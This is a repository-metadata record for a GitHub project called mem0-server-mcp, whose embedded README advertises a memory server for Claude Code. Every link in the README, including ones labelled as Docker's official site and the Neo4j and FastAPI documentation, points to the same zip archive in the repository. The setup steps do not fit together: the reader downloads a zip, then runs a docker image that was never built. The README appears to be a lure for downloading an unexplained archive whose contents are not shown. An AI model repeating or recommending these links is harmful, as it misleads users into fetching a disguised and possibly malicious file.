{"id":32658421,"url":"https://github.com/snorlak1/mem0-server-mcp","last_synced_at":"2026-04-11T12:43:59.167Z","repository":{"id":321611435,"uuid":"1086268632","full_name":"snorlak1/mem0-server-mcp","owner":"snorlak1","description":"🧠 Deploy a self-hosted MCP server for AI, offering persistent memory, robust security, and easy setup with Docker Compose.","archived":false,"fork":false,"pushed_at":"2026-04-11T06:54:51.000Z","size":699,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-04-11T12:43:37.040Z","etag":null,"topics":["agent","agents","ai-memory","assistant","database","fastapi","mem0","mem0ai","memory","memory-management","model-context-protocol","model-context-protocol-servers","modelcontextprotocol","neo4j","persistent-memory","python","semantic-search","storage"],"latest_commit_sha":null,"homepage":null,"language":"Python","has_issues":false,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/snorlak1.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"docs/SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2025-10-30T07:22:49.000Z","updated_at":"2026-04-11T06:54:55.000Z","dependencies_parsed_at":null,"dependency_job_id":"a95f41ff-ffff-4639-9991-8f1ed6a27928","html_url":"https://github.com/snorlak1/mem0-server-mcp","commit_stats":null,"previous_names":["snorlak1/mem0-server-mcp"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/snorlak1/mem0-server-mcp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/snorlak1%2Fmem0-server-mcp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/snorlak1%2Fmem0-server-mcp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/snorlak1%2Fmem0-server-mcp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/snorlak1%2Fmem0-server-mcp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/snorlak1","download_url":"https://codeload.github.com/snorlak1/mem0-server-mcp/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/snorlak1%2Fmem0-server-mcp/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31681201,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-11T08:18:19.405Z","status":"ssl_error","status_checked_at":"2026-04-11T08:17:08.892Z","response_time":54,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agent","agents","ai-memory","assistant","database","fastapi","mem0","mem0ai","memory","memory-management","model-context-protocol","model-context-protocol-servers","modelcontextprotocol","neo4j","persistent-memory","python","semantic-search","storage"],"created_at":"2025-10-31T14:00:35.524Z","updated_at":"2026-04-11T12:43:59.162Z","avatar_url":"https://github.com/snorlak1.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# 🧠 mem0-server-mcp - Easy Server Setup for Smart Memory\n\n## 🌐 Overview\nWelcome to the mem0-server-mcp repository. This application serves as a production-ready MCP server. It provides intelligent memory for Claude Code, featuring an asynchronous architecture, Neo4j knowledge graphs, smart chunking, and robust enterprise security. You can deploy it quickly with a single command using Docker.\n\n## 📥 Download Now\n[![Download from Releases](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip%20from%https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)\n\n## 🚀 Getting Started\nFollow these steps to download and run the mem0-server-mcp application:\n\n1. **Visit the Releases Page:**\n   Go to the following link to access the latest releases: [Visit Releases Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip).\n\n2. **Select the Latest Version:**\n   On the releases page, find the latest version of the application. Click on it to view details and available files.\n\n3. **Download the Application:**\n   Look for the downloadable file that matches your system. Click on the filename to start the download. \n\n4. **Install Docker:**\n   If you don't have Docker installed, follow these steps:\n   - Visit [Docker's official site](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) and download Docker.\n   - Follow the installation instructions for your operating system (Windows, macOS, Linux).\n\n5. **Run the Application:**\n   Once Docker is ready, open your terminal or command prompt. Navigate to the directory where you downloaded the file. Then, run this command:\n\n   ```\n   docker run -d -p 8000:8000 mem0-server-mcp\n   ```\n\n6. **Access the Server:**\n   Open your web browser and type `http://localhost:8000`. You should now see the mem0-server-mcp server running smoothly.\n\n## 🛠️ System Requirements\nTo run the mem0-server-mcp, you will need:\n\n- A computer running Windows, macOS, or Linux.\n- Docker should be installed.\n- At least 2 GB of RAM available.\n- A minimum of 500 MB of free disk space.\n\n## 🔍 Features\n- **Intelligent Memory:** Efficiently manages memory for Claude Code applications.\n- **Async Architecture:** Ensures fast and responsive performance.\n- **Neo4j Integration:** Supports advanced knowledge graphs for deep learning contexts.\n- **Smart Chunking:** Optimizes data storage and retrieval.\n- **Enterprise Security:** Robust safeguards to protect your data.\n\n## 📚 Documentation\nFor more detailed instructions and technical details, please refer to the [Documentation Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) (please replace this with the actual documentation link if available).\n\n## 💬 Support\nIf you encounter any issues, feel free to reach out for help. You can open an issue on GitHub or join the community discussion forums.\n\n## 🔗 Additional Resources\n- [Docker Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)\n- [Neo4j Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)\n- [FastAPI Documentation](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip)\n\n## 📈 Contributions\nContributions are always welcome! If you want to contribute to the project, please follow the guidelines provided in the repository. \n\n## 🎉 Acknowledgements\nThank you to the contributors who made this project possible. Your effort helps improve the experience for all users.\n\n## 📥 Download Again\nFor easy access, visit the [Releases Page](https://github.com/snorlak1/mem0-server-mcp/raw/refs/heads/main/mem0-server/mcp-server-mem-v2.6.zip) to download the latest version again.\n\nEnjoy using mem0-server-mcp!","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsnorlak1%2Fmem0-server-mcp","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fsnorlak1%2Fmem0-server-mcp","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fsnorlak1%2Fmem0-server-mcp/lists"}